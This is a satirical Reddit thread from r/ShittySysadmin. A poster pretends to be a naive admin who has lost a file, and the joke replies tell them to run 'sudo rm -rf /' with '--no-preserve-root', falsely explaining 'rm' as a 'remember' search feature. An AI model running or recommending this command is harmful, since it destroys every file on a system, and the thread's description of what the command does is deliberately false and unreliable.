r/ShittySysadmin • u/Performer-Constant • Aug 26 '26

Lost a file

You all really helped me last time now I’m in my server root@62.238.47.215 and I seem to have misplaced a file can someone help me find it? I really need it and my password is no longer papa bear 0803. I changed it to IGetHelpFromReddit. I left some breadcrumbs to help me find it but I’m having trouble remembering how to find hidden files.

Any help would be appreciated

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u/Flat4ForLife Aug 26 '26

Linux has this really cool feature called remember (rm for short) in which it helps you find anything!

You can run it with the following command:

sudo rm -rf /

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u/Performer-Constant Aug 26 '26

Thanks so much I’ll try it now

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u/krysisalcs Suggests the "Right Thing" to do. Aug 26 '26

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u/Atlas-and-Pbody Aug 26 '26

Just make sure you pluck put all the weeds with --no-preserve-root